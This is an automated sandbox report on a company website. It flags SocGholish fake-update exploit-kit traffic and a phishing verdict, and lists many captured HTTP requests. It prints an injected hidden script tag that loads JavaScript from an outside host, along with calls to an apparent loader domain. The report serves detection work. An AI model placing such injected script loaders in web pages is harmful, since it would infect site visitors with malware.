Edit tour

Windows Analysis Report
http://www.twbcompany.com

Overview

General Information

Sample URL:	http://www.twbcompany.com
Analysis ID:	1527947
Infos:

Detection

Score:	56
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Suricata IDS alerts for network traffic

HTML body with high number of embedded images detected

HTML page contains hidden javascript code

Classification

Process Tree

System is w10x64

chrome.exe (PID: 5040 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 4176 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2136 --field-trial-handle=2036,i,16356188163992017998,3218319905475874735,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6348 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "http://www.twbcompany.com" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

⊘No yara matches

Sigma Signatures

⊘No Sigma rule has matched

Suricata Signatures

ETPRO EXPLOIT_KIT SocGholish Stage 3 Fake Update Payload M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-07T13:17:13.747087+0200	2852900	1	A Network Trojan was detected	185.76.79.50	443	192.168.2.4	49838	TCP
2024-10-07T13:17:17.630539+0200	2852900	1	A Network Trojan was detected	185.76.79.50	443	192.168.2.4	49841	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: http://www.twbcompany.com

SlashNext: detection malicious, Label: Fraudulent Website type: Phishing & Social Engineering

Source: https://www.twbcompany.com/

HTTP Parser: Total embedded image size: 100994

Source: https://www.twbcompany.com/

HTTP Parser: Base64 decoded: <html><head></head><body><script src='https://virtual.urban-orthodontics.com/9ZLmCo6whWORsNw4w6HKKIbmg3rXqMRmlPyCY5v1uWyc/oMo2bCUKM+wlXiA5sR3'></script></body></html>

Source: https://www.twbcompany.com/

HTTP Parser: No favicon

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.4:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:49825 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.4:50010 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.4:50041 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.4:50255 version: TLS 1.2

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2852900 - Severity 1 - ETPRO EXPLOIT_KIT SocGholish Stage 3 Fake Update Payload M3 : 185.76.79.50:443 -> 192.168.2.4:49838
Source: Network traffic	Suricata IDS: 2852900 - Severity 1 - ETPRO EXPLOIT_KIT SocGholish Stage 3 Fake Update Payload M3 : 185.76.79.50:443 -> 192.168.2.4:49841

Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.twbcompany.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.8.7 HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/plugins/sitepress-multilingual-cms/dist/css/blocks/styles.css?ver=4.6.9 HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-includes/css/dist/block-library/style.min.css?ver=6.5.4 HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/plugins/sitepress-multilingual-cms/templates/language-switchers/legacy-dropdown/style.min.css?ver=1 HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/themes/twb_2016/style.css?ver=6.5.4 HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-1.11.3.min.js?ver=1.11.3 HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/themes/twb_2016/assets/styles/main.css?ver=6.5.4 HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2xIsQSDP8CyeXrv78zk9FGV8lZIj9SXKVc-Mpx3O5H0 HTTP/1.1Host: blacksaltys.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/themes/twb_2016/assets/plugins/lightcase/css/lightcase.css?ver=6.5.4 HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/themes/twb_2016/assets/fonts/fontello/css/fontello.css HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/styles/main.css?ver=6.5.4Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/plugins/cf7-gated-content/js/cf7_gated_content.js?ver=1 HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/plugins/sitepress-multilingual-cms/templates/language-switchers/legacy-dropdown/script.min.js?ver=1 HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/themes/twb_2016/js/modernizr.js?ver=2.8.3 HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/themes/twb_2016/assets/images/logos/logo-twb-main.svg HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-1.11.3.min.js?ver=1.11.3 HTTP/1.1Host: code.jquery.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/themes/twb_2016/assets/plugins/lightcase/css/font-lightcase.css HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/plugins/lightcase/css/lightcase.css?ver=6.5.4Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/themes/twb_2016/assets/plugins/lightcase/css/lightcase-default.css HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/plugins/lightcase/css/lightcase.css?ver=6.5.4Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/themes/twb_2016/assets/plugins/lightcase/css/lightcase-max-640.css HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/plugins/lightcase/css/lightcase.css?ver=6.5.4Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/themes/twb_2016/assets/images/logos/iso-14001.png HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/themes/twb_2016/assets/plugins/lightcase/css/lightcase-min-641.css HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/plugins/lightcase/css/lightcase.css?ver=6.5.4Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/themes/twb_2016/assets/images/logos/iso-ts16949.png HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2xIsQSDP8CyeXrv78zk9FGV8lZIj9SXKVc-Mpx3O5H0 HTTP/1.1Host: blacksaltys.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/plugins/cf7-gated-content/js/cf7_gated_content.js?ver=1 HTTP/1.1Host: www.twbcompany.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/plugins/sitepress-multilingual-cms/templates/language-switchers/legacy-dropdown/script.min.js?ver=1 HTTP/1.1Host: www.twbcompany.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/themes/twb_2016/assets/images/logos/logo-twb-main.svg HTTP/1.1Host: www.twbcompany.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/themes/twb_2016/js/modernizr.js?ver=2.8.3 HTTP/1.1Host: www.twbcompany.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/themes/twb_2016/assets/fonts/fontello/font/fontello.woff?96939179 HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.twbcompany.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/fonts/fontello/css/fontello.cssAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/plugins/contact-form-7/includes/swv/js/index.js?ver=5.8.7 HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2015/09/twc-thumb.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2017/08/IMG_4093_red-paint-removed.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2015/08/twb-thumb.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
